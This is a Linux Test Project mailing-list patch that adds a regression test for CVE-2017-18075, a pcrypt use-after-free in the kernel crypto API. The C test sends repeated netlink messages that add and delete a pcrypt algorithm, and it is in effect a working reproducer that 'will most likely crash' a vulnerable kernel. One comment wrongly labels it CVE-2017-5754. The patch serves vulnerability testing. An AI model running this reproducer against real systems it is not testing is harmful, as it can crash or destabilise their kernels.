[LTP] [PATCH 2/2] Add CVE-2017-18075, pcrypt mishandles freeing instances
Richard Palethorpe
rpalethorpe@suse.com
Wed Mar 14 15:54:27 CET 2018
Signed-off-by: Richard Palethorpe <rpalethorpe@suse.com>
---
I can not find the original reproducer posted upstream. I assume it was
created by syzkaller.
This patch will not display error messages correctly without the previous
TRERRNO patch I posted.
runtest/cve | 1 +
testcases/cve/.gitignore | 1 +
testcases/cve/cve-2017-18075.c | 201 +++++++++++++++++++++++++++++++++++++++++
3 files changed, 203 insertions(+)
create mode 100644 testcases/cve/cve-2017-18075.c
diff --git a/runtest/cve b/runtest/cve
index 8b7cbe539..17ef5186d 100644
--- a/runtest/cve
+++ b/runtest/cve
@@ -32,3 +32,4 @@ cve-2017-5754 meltdown
cve-2017-17052 cve-2017-17052
cve-2017-16939 cve-2017-16939
cve-2017-17053 cve-2017-17053
+cve-2017-18075 cve-2017-18075
diff --git a/testcases/cve/.gitignore b/testcases/cve/.gitignore
index b05c0ded6..e4dbb58c1 100644
--- a/testcases/cve/.gitignore
+++ b/testcases/cve/.gitignore
@@ -14,3 +14,4 @@ stack_clash
cve-2017-17052
cve-2017-16939
cve-2017-17053
+cve-2017-18075
diff --git a/testcases/cve/cve-2017-18075.c b/testcases/cve/cve-2017-18075.c
new file mode 100644
index 000000000..3723b0655
--- /dev/null
+++ b/testcases/cve/cve-2017-18075.c
@@ -0,0 +1,201 @@
+/*
+ * Copyright (c) 2018 SUSE
+ * Author: Nicolai Stange <nstange@suse.de>
+ * LTP conversion: Richard Palethorpe <rpalethorpe@suse.com>
+ *
+ * Based on the reproducer posted upstream so other copyrights may
+ * apply.
+ *
+ * This program is free software; you can redistribute it and/or
+ * modify it under the terms of the GNU General Public License
+ * as published by the Free Software Foundation; either version 2
+ * of the License, or (at your option) any later version.
+ *
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+ * GNU General Public License for more details.
+ *
+ * You should have received a copy of the GNU General Public License
+ * along with this program; if not, see <http://www.gnu.org/licenses/>.
+ *
+ * Test for CVE-2017-5754 - pcrypt mishandles freeing instances
+ *
+ * See commit d76c68109f37 crypto: pcrypt - fix freeing pcrypt instances.
+ *
+ * If the bug is present this will most likely crash your kernel.
+ */
+
+#include <sys/socket.h>
+#include <linux/netlink.h>
+#include <errno.h>
+#include <time.h>
+
+#include "tst_test.h"
+#include "tst_safe_net.h"
+#include "tst_taint.h"
+
+#define ATTEMPTS 10000
+
+enum {
+ CRYPTO_MSG_BASE = 0x10,
+ CRYPTO_MSG_NEWALG = 0x10,
+ CRYPTO_MSG_DELALG,
+ CRYPTO_MSG_UPDATEALG,
+ CRYPTO_MSG_GETALG,
+ CRYPTO_MSG_DELRNG,
+ __CRYPTO_MSG_MAX
+};
+
+#define CRYPTO_MAX_ALG_NAME 64
+#define CRYPTO_MAX_NAME CRYPTO_MAX_ALG_NAME
+
+#define CRYPTO_ALG_TYPE_MASK 0x0000000f
+#define CRYPTO_ALG_TYPE_AEAD 0x00000003
+
+#ifndef NETLINK_CRYPTO
+#define NETLINK_CRYPTO 21
+#endif
+
+struct crypto_user_alg {
+ char cru_name[CRYPTO_MAX_ALG_NAME];
+ char cru_driver_name[CRYPTO_MAX_ALG_NAME];
+ char cru_module_name[CRYPTO_MAX_ALG_NAME];
+ uint32_t cru_type;
+ uint32_t cru_mask;
+ uint32_t cru_refcnt;
+ uint32_t cru_flags;
+};
+
+static void send_nl_msg(int fd, struct nlmsghdr *nh, void *payload)
+{
+ static unsigned int sequence_number;
+ struct sockaddr_nl sa = { .nl_family = AF_NETLINK };
+ struct iovec iov[2] = {
+ {nh, sizeof(*nh)},
+ {payload, nh->nlmsg_len - sizeof(*nh)}
+ };
+ struct msghdr msg = {
+ .msg_name = &sa,
+ .msg_namelen = sizeof(sa),
+ .msg_iov = iov,
+ .msg_iovlen = 2
+ };
+
+ nh->nlmsg_pid = 0;
+ nh->nlmsg_seq = ++sequence_number;
+ /* Request an ack from kernel by setting NLM_F_ACK */
+ nh->nlmsg_flags |= NLM_F_ACK;
+
+ SAFE_SENDMSG(nh->nlmsg_len, fd, &msg, 0);
+}
+
+static int read_reply(int fd)
+{
+ int len;
+ char buf[4096];
+ struct iovec iov = { buf, sizeof(buf) };
+ struct sockaddr_nl sa;
+ struct msghdr msg = {
+ .msg_name = &sa,
+ .msg_namelen = sizeof(sa),
+ .msg_iov = &iov,
+ .msg_iovlen = 1
+ };
+ struct nlmsghdr *nh;
+
+ len = SAFE_RECVMSG(0, fd, &msg, 0);
+
+ for (nh = (struct nlmsghdr *) buf;
+ NLMSG_OK(nh, len);
+ nh = NLMSG_NEXT(nh, len)) {
+ /* The end of multipart message. */
+ if (nh->nlmsg_type == NLMSG_DONE)
+ return 0;
+
+ if (nh->nlmsg_type == NLMSG_ERROR)
+ return ((struct nlmsgerr *)NLMSG_DATA(nh))->error;
+ }
+
+ return 0;
+}
+
+static int add_alg(int fd, struct crypto_user_alg *a)
+{
+ int r;
+ struct nlmsghdr nh = {
+ .nlmsg_len = sizeof(struct nlmsghdr) + sizeof(*a),
+ .nlmsg_type = CRYPTO_MSG_NEWALG,
+ .nlmsg_flags = NLM_F_REQUEST,
+ };
+
+ send_nl_msg(fd, &nh, a);
+
+ r = read_reply(fd);
+ if (r == -EEXIST)
+ return 0;
+ return r;
+}
+
+static int del_alg(int fd, struct crypto_user_alg *a)
+{
+ int i;
+ struct timespec delay = { .tv_nsec = 1000000 };
+ struct nlmsghdr nh = {
+ .nlmsg_len = sizeof(struct nlmsghdr) + sizeof(*a),
+ .nlmsg_type = CRYPTO_MSG_DELALG,
+ .nlmsg_flags = NLM_F_REQUEST,
+ };
+
+ for (i = 0; i < 1000; i++) {
+ send_nl_msg(fd, &nh, a);
+
+ TEST(read_reply(fd));
+ if (TEST_RETURN != -EBUSY)
+ break;
+
+ if (nanosleep(&delay, NULL) && errno != EINTR)
+ tst_brk(TBROK | TERRNO, "nanosleep");
+ }
+
+ return TEST_RETURN;
+}
+
+void setup(void)
+{
+ tst_taint_init(TST_TAINT_W | TST_TAINT_D);
+}
+
+void run(void)
+{
+ int fd, i;
+ struct crypto_user_alg a = {
+ .cru_driver_name = "pcrypt(authenc(hmac(sha256-generic),cbc(aes-generic)))",
+ .cru_type = CRYPTO_ALG_TYPE_AEAD,
+ .cru_mask = CRYPTO_ALG_TYPE_MASK,
+ };
+
+ fd = SAFE_SOCKET(AF_NETLINK, SOCK_DGRAM, NETLINK_CRYPTO);
+
+ for (i = 0; i < ATTEMPTS; ++i) {
+ TEST(add_alg(fd, &a));
+ if (TEST_RETURN)
+ tst_brk(TBROK | TRERRNO, "add_alg");
+
+ TEST(del_alg(fd, &a));
+ if (TEST_RETURN)
+ tst_brk(TBROK | TRERRNO, "del_alg");
+ }
+
+ if (tst_taint_check())
+ tst_res(TFAIL, "Kernel has been tainted, check kernel log");
+ else
+ tst_res(TPASS, "You are probably safe");
+}
+
+static struct tst_test test = {
+ .setup = setup,
+ .test_all = run,
+ .needs_root = 1,
+ .min_kver = "4.2.0",
+};
--
2.16.2
More information about the ltp
mailing list